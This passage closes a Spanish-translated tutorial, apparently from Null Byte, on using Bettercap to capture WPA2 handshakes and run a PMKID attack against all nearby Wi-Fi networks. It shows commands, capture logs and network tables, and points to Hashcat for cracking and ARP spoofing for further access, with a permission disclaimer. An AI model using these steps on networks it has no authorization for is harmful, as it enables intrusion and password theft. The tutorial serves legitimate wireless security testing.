| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | WPA2 (CCMP, PSK) |     | 8  |         |        |        | 23:03:04 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:03:06 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         | 1.7 kB |        | 23:03:04 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:03:08 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:03:08 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:03:09 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:03:09 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 73 kB / ↓ 8.9 MB / 28100 pkts / 2 handshakes

Este es un buen resultado, pero muchas de estas redes no son atendidas, como se puede ver en la sección de conteo de clientes. ¿Observa cómo este método no funcionó en ninguna red que no tuviera clientes conectados? Para atacar estas redes desatendidas, necesitaremos ejecutar el segundo módulo. Para guardar los apretones de manos capturados, utilice establecer wifi. seguido del directorio en el que desea guardar el archivo.

wlan1  » set wifi.handshakes '/desiredfolderlocation'

Paso 7: Ataque con un ataque PMKID

Para comenzar nuestro ataque contra redes desatendidas, escribiremos wifi.assoc y luego la dirección MAC que queremos atacar. Si vamos a atacar todas las redes que hemos detectado, escribiendo todo o * en su lugar lo hará. Si habilitaste events.stream off pero desea ver los resultados de este módulo, puede volver a habilitar el flujo de eventos escribiendo events.stream en y buscar resultados similares a los siguientes.

wlan1  » wifi.assoc all

wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap
wlan1  » [23:04:58] [wifi.client.handshake] captured ██:██:██:██:██:██ -> ATT286GPs5 (██:██:██:██:██:██) RSN PMKID to /root/bettercap-wifi-handshakes.pcap

Ahora que hemos probado ambas herramientas, echemos un vistazo a nuestros resultados con wifi.show. Si tenemos suerte, deberíamos ver más redes en rojo. Si bien no hay colores a continuación, cinco de ellos eran rojos.

wlan1  » wifi.show

+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| RSSI ▴  |       BSSID       |             SSID              |    Encryption    | WPS | Ch | Clients |  Sent  | Recvd  |   Seen   |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+
| -55 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  | 5       | 12 kB  |        | 23:04:36 |
| -57 dBm | ██:██:██:██:██:██ | █████████████                 | WPA2 (CCMP, PSK) |     | 6  | 1       | 6.5 kB | 66 B   | 23:04:34 |
| -63 dBm | ██:██:██:██:██:██ | ██████                        | WPA2 (CCMP, PSK) |     | 11 | 2       | 1.2 kB |        | 23:04:34 |
| -64 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (CCMP, PSK) | 2.0 | 5  | 2       | 7.1 kB | 128 B  | 23:04:32 |
| -90 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:04:36 |
| -71 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 1  | 2       | 353 B  |        | 23:04:35 |
| -72 dBm | ██:██:██:██:██:██ | ████████████████████████████  | WPA2 (CCMP, PSK) |     | 6  | 1       | 4.9 kB |        | 23:04:36 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:04:31 |
| -81 dBm | ██:██:██:██:██:██ | ████████████████              | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:04:36 |
| -82 dBm | ██:██:██:██:██:██ | ████████████████████████      | WPA2 (CCMP, PSK) |     | 7  |         |        |        | 23:04:37 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 1  |         |        |        | 23:04:31 |
| -86 dBm | ██:██:██:██:██:██ | ███████████████████           | WPA2 (CCMP, PSK) |     | 6  |         |        |        | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | ██████████████                | WPA2 (CCMP, PSK) |     | 6  |         | 670 B  | 384 B  | 23:04:32 |
| -86 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, MGT) |     | 6  |         |        |        | 23:04:31 |
| -87 dBm | ██:██:██:██:██:██ | <hidden>                      | WPA2 (CCMP, PSK) |     | 6  |         | 759 B  |        | 23:04:32 |
| -87 dBm | ██:██:██:██:██:██ | ████████████████████          | WPA2 (CCMP, PSK) |     | 6  |         | 228 B  | 1.2 kB | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ███████████████████████████   | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:04:34 |
| -88 dBm | ██:██:██:██:██:██ | ██████████████████            | WPA2 (CCMP, PSK) |     | 8  |         |        |        | 23:04:34 |
| -91 dBm | ██:██:██:██:██:██ | ██████████                    | WPA2 (TKIP, PSK) |     | 11 |         | 1.7 kB |        | 23:04:34 |
| -92 dBm | ██:██:██:██:██:██ | ██                            | WPA2 (CCMP, PSK) | 2.0 | 11 |         |        |        | 23:04:38 |
| -92 dBm | ██:██:██:██:██:██ | ████████                      | WPA2 (TKIP, PSK) |     | 11 |         |        |        | 23:04:38 |
| -94 dBm | ██:██:██:██:██:██ | ██████████████████████████    | WPA2 (CCMP, PSK) | 2.0 | 6  |         |        |        | 23:04:39 |
| -95 dBm | ██:██:██:██:██:██ | █████████████████             | WPA2 (CCMP, PSK) |     | 11 |         |        |        | 23:04:39 |
+---------+-------------------+-------------------------------+------------------+-----+----+---------+--------+--------+----------+

wlan1mon (ch. 12) / ↑ 45 kB / ↓ 8.9 MB / 38377 pkts / 3 handshakes

Al ejecutar ambos módulos, pudimos obtener la información que necesitamos para cinco de las diez redes Wi-Fi más cercanas. Eso es bastante impresionante. Si abrimos el archivo Bettercap generado a partir de estas capturas, podemos ver la información que Bettercap ha guardado para que la descifremos en otro programa.

¡Aquí vamos! Con Bettercap, podemos capturar las señales que necesitamos desde redes Wi-Fi hasta contraseñas débiles de fuerza bruta. Puede seguir nuestra guía sobre el descifrado de apretones de manos con Hashcat para intentar forzar las contraseñas.

Bettercap es la navaja suiza de la piratería Wi-Fi

Bettercap es una parte esencial del conjunto de herramientas de cualquier pirata informático, especialmente para la capacidad de funcionar sin problemas en dispositivos de bajo costo como una Raspberry Pi. Con la capacidad de Bettercap para descubrir rápidamente frutos que están al alcance de la mano, como contraseñas de red débiles, puede usarlo para obtener un mayor acceso a los dispositivos en una red a través de la suplantación de ARP y el envenenamiento en otros módulos de Bettercap.

Asegúrese de usar solo los módulos activos de Bettercap en redes para las que tenga permiso para usar, pero los módulos de reconocimiento están bien para usarlos prácticamente en cualquier lugar. Con suficiente paciencia, Bettercap simplemente registrará los apretones de manos cuando los usuarios se conecten a la red de forma natural, sin necesidad de atacar la red en absoluto.

¡Espero que hayas disfrutado de esta guía sobre el uso de Betterecap para piratear redes Wi-Fi! Si tiene alguna pregunta sobre este tutorial, está la sección de comentarios a continuación, y no dude en seguirme en Twitter. @KodyKinzie.

Foto de portada y capturas de pantalla de Kody / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar